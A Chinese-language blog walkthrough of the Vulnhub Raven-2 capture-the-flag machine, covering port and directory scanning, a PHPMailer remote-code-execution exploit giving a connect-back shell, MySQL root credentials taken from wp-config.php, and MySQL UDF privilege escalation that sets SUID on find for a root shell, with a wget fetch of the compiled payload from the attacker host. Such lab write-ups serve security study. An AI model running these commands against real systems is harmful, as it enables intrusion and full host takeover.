【甄选靶场】Vulnhub百个项目渗透——项目三:Raven-2(服务利用,udf提权)

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目三:Raven-2(服务利用,udf提权)


🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月5日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

`


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

二、使用步骤

1.端口发现

代码如下:

ifconfig                  //用来查看自己的IP

namp 192.168.247.0/24 -sP //用来扫描同网段所有存活主机,注意最后是0
这个IP是你ifconfig出来的IP

nmap -p- 192.168.247.134  //扫描开放端口,找服务
(服务越多,我们越应该兴奋,因为服务多代表漏洞越多,越好下手)

只开放了一个80端口,所以只能去看看,这是唯一的突破口

2.web突破

在这里插入图片描述

dirb http://192.169.247.130  ----爆破目录

爆破目录得到两个目录,看到第二个是wp的目录,基本得知这是一个已知cms,可以借助这个拿到shell,我们依次访问一下,首先是vender目录,这个地方wp是用来提权的,当然了按照正常的思路应该访问看一下,但是没有任何的版本信息提示,也没有登录的地方,所以才会将目光转向别处。

在这里插入图片描述

在path的子目录下找到了flag

在这里插入图片描述在这里插入图片描述

3.服务利用

在这里插入图片描述

我野搜索了apache的漏洞,但是没有找到具体可用的,有一些exp只能爆出一个用户名这样子,所以,再找到了新的服务之后(phpmailer),就暂时搁置apache的探索

在这里插入图片描述

在version中发现了phPmailer的版本
搜索一下exp

在这里插入图片描述

远程代码执行,足够硬,编号40974,一会去kali下载下来,这先看一下这个描述:说这个EXP搞进去的后门地址会主动连接你,那就接着看一下用法

在这里插入图片描述

下载,payload中配置IP,监听端口,执行一个py文件
这么几段话对于精通八国语言的我来说小case啦~

在这里插入图片描述gedit 40974.py --编辑py文件

目标改了,后门名字可以改可以不改,payload的ip改了,下面还有个路径改了,因为/var/www/html/是默认的路径
然后运行,监听设置的监听端口,访问contact.php生成后门文件,然后即可拿到shell

在这里插入图片描述

拿到了伪shell,不稳定,我们要生成一个稳定的shell

python -c 'import pty;pty.spawn("/bin/bash")'   --生成稳定的shell

在这里插入图片描述

这就拿到了shell,然后进行进一步的信息收集,看看铭感目录虾米那有没有什么文件,一般的话有会有一个flag

find / -name flag*      --直接搜索flag,
*是通配符,
代表只要是flag开头的都给我搜出来

三.udf提权

再提权之前想到之前扫目录的时候出来了一个wordpress的站点,我们也是知道这个没有登录框,也没有版本信息,就在shell里面对他进行信息收集

grep "password" -rn wp-config.php    ---wp站点默认的配置文件存放的地方,搜搜密码啥的

在这里插入图片描述在这里插入图片描述

发现了一个mysql的root用户,可以利用mysql内核提权
分为几种,这里使用udf,在使用之前我们先登陆一下mysql,要查看几个信息,看看能否利用

mysql -uroot -pR@v3nSecurity   --登录
select version();              --查看版本

show databases;                --查看库
use wordpress                  --使用库
show tables;                   --查看表
select * from wp_users;        --查找表内内容
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0    --获得用户
steven:B6X3H3ykawf2oHuPsbjQiih5iJXqad.


	要注意先要进到/var/www/目录底下,这里面才有信息
	
	dpkg -l | grep mysql   --查看历史安装包版本,就知道写入条件的判断依据了
	

1.看一下是否满足写入条件:
	show global variables like 'secure%';
	+------------------+-------+
	| Variable_name    | Value |
	+------------------+-------+
	| secure_auth      | OFF   |
	| secure_file_priv |       |
	+------------------+-------+
	2 rows in set (0.00 sec)
	
	1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
	2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
	3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
	如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
	在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
	在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

2.查看插件目录:
	show variables like '%plugin%';
	+---------------+------------------------+
	| Variable_name | Value                  |
	+---------------+------------------------+
	| plugin_dir    | /usr/lib/mysql/plugin/ |
	+---------------+------------------------+
	1 row in set (0.00 sec)

3.查看能否远程登陆:
	use mysql;
	select user,host from user;
	+------------------+-----------+
	| user             | host      |
	+------------------+-----------+
	| root             | 127.0.0.1 |
	| root             | ::1       |
	| debian-sys-maint | localhost |
	| root             | localhost |
	| root             | raven     |
	+------------------+-----------+
	5 rows in set (0.00 sec)
	发现这里root用户不允许远程登陆,因此不能利用MSF提权。

	谷歌搜索:mysql 5.x UDF exploit  或者  searchsploit udf 
	searchsploit 1518.c
	cp /usr/share/exploitdb/exploits/linux/local/1518.c/root/Desktop
	编译exp	
	gcc -g -c 1518.c   ---GCC编译.o文件
	gcc -g -shared -o rong.so 1518.o -lc
	-g 生成调试信息
	-c 编译(二进制)
	-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
	-o:执行命令后的文件名
	-lc:-l 库 c库名
	传递exp
	开启python的传输服务
	wget http://10.211.55.19:8081/dayu.so  --靶机执行
	
	show databases;
	use mysql
	select database();

4. 进入数据库创建数据表rong:
	create table rong(line blob);  --这里longblob根据大小来分配
	
	类型           大小(单位:字节) 
	TinyBlob      最大 255 
	Blob          最大 65K 
	MediumBlob    最大 16M 
	LongBlob      最大 4G 

5. 插入数据文件:
	insert into rong values(load_file('/tmp/rong.so'));
	或
	insert into rong values(load_file('/var/www/html/rong.so'));
	
	rong表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
	outfile会有特殊的转换,而dumpfile是原数据导出!
	
6. 新建存储函数:
	select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so';    ---把这个rong.so导入到插件库中
	创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
	create function do_system returns integer soname 'rong.so';

7. 查看以下创建的函数:
	select * from mysql.func;
	调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
	select do_system('chmod u+s /usr/bin/find');

8. 执行find命令
	使用find执行 shell
	touch rong
	find rong -exec "/bin/sh" \;
	或者:find rong -exec "id" \;
	cd /root
	cat flag4.txt
	flag4{df2bc5e951d91581467bb9a2a8ff4425}


总结

1.服务利用
2.udf提权

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Raven: 2是一台中级难度的boot2root虚拟机,目标是获取四个标志(flag)。Raven Security在多次遭受入侵后,采取了额外措施来加固他们的web服务器,以防止黑客入侵。你可以在Vulnhub上找到Raven: 2的ova文件,并使用VirtualBox打开。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [vulnhub靶机raven2](https://blog.csdn.net/weixin_52450702/article/details/127811079)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [vulnhub靶机——RAVEN: 2](https://blog.csdn.net/qq_44029310/article/details/126491848)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [Vulnhub靶机系列:Kioptrix: Level 1.2 (#3)](https://download.csdn.net/download/weixin_38717843/14052717)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值